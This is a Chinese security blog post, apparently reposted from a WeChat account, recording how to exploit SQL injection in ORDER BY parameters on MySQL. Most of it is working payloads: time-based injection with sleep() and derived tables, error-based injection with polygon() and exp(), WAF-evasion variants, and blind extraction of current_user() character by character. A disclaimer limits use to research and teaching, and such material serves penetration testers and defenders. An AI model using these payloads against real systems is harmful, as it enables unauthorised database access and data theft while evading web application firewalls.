简单的order by注入记录

admin 2025年1月1日11:43:21评论10 views字数 1449阅读4分49秒阅读模式
时间过的很快,回过神来的时候发现明天就是2025年了,又老了一岁。在这里祝各位师傅新年快乐!这篇纯炒冷饭,简单的记录下毕竟也遇到不少。
 0x00 
sql语句
这里就简单的模拟源码中sql语句
select*from test where id =2orderby name desc
都说是order by 注入,那么可控的就是 order by 后面的字段,一般来说
请求都是这样的 &sort=desc 或者  &sort2=  或者 order=
简单的order by注入记录
个人建议是在hae里面加上一个这样的规则,用于专门匹配这种字段
那么怎么构造语句呢?
 0x01 
Payload
时间注入
在这种情况下其实可以通过报错和时间注入来打payload
时间注入 --->  直接sleep()select * from nmsl where ip =2 order by ip,sleep(4)
简单的order by注入记录
值得注意的是,这种payload不太可取,因为如果这个表有20行,那么就要至少等待80s以上,所以基本上都是用的派生表
时间注入 ---> 派生表select * from nmsl where ip =2 order by ip,(select(0)from(select(sleep(4.0)))a);
简单的order by注入记录
那么使用派生表payload的话,被拦截的概率就会大大增大,基本上都要绕一下select from 
报错注入
报错注入 ---> polygon()select * from nmsl where ip =2 order by ip,polygon(ip)
简单的order by注入记录
如果存在报错信息是不是只要fuzz一下字段名,就可以直接拿到当前数据库名,表名,mysql其他几个报错函数也是同理,但是基本上polygon()被拦截的比较死,甚至大多数时候用的都是exp()
 0x02 
waf绕过
基于上面的payload而言,我们要做到的就是尽量避免少出现不同的符号来规避waf
select*from nmsl where ip =2orderby ip and  (select(0)from(select(sleep(4.0)))x)
简单的order by注入记录
好了,假如现在这个payload可以用,它成功的sleep 4秒,那么后续的利用呢?注入注入总得注出点东西来吧
这样的话就离不开盲注来fuzz了,那么fuzz哪个关键函数比较有说服力呢?
首先想到的必然是database(),user() 但是一般来说这两函数基本都会被拦死,简单的fuzz下user,本来主角是version()来着:
mysql中的user有哪些?
user()current_usercurrent_user()system_user()session_user()
可想而知肯定用current_user,因为没有(),那么给你拦截了呢?阁下又该如何应对,好好好这么玩是吧,首先肯定是分析waf具体拦截了什么,如果是无脑的拦截user这个关键字,那么就可以下机睡觉了,当然也看环境也许%u0075ser就不被拦呢。太久没有写过这种,后面的就用图来代替了。
(sleep(exp({{int(710-740)}}-length(current_user()))))(sleep(exp({{int(756-838)}}-ascii(mid(current_user()from(5)for(1))))))
简单的order by注入记录
简单的order by注入记录
哎,要是- * <> = like 这种都给你拦了,你怎么构造布尔呢?办法当然还是有的,简单举一例,咱们下次再聊
简单的order by注入记录

原文始发于微信公众号(安全的黑魔法):简单的order by注入记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日11:43:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简单的order by注入记录https://cn-sec.com/archives/3579081.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息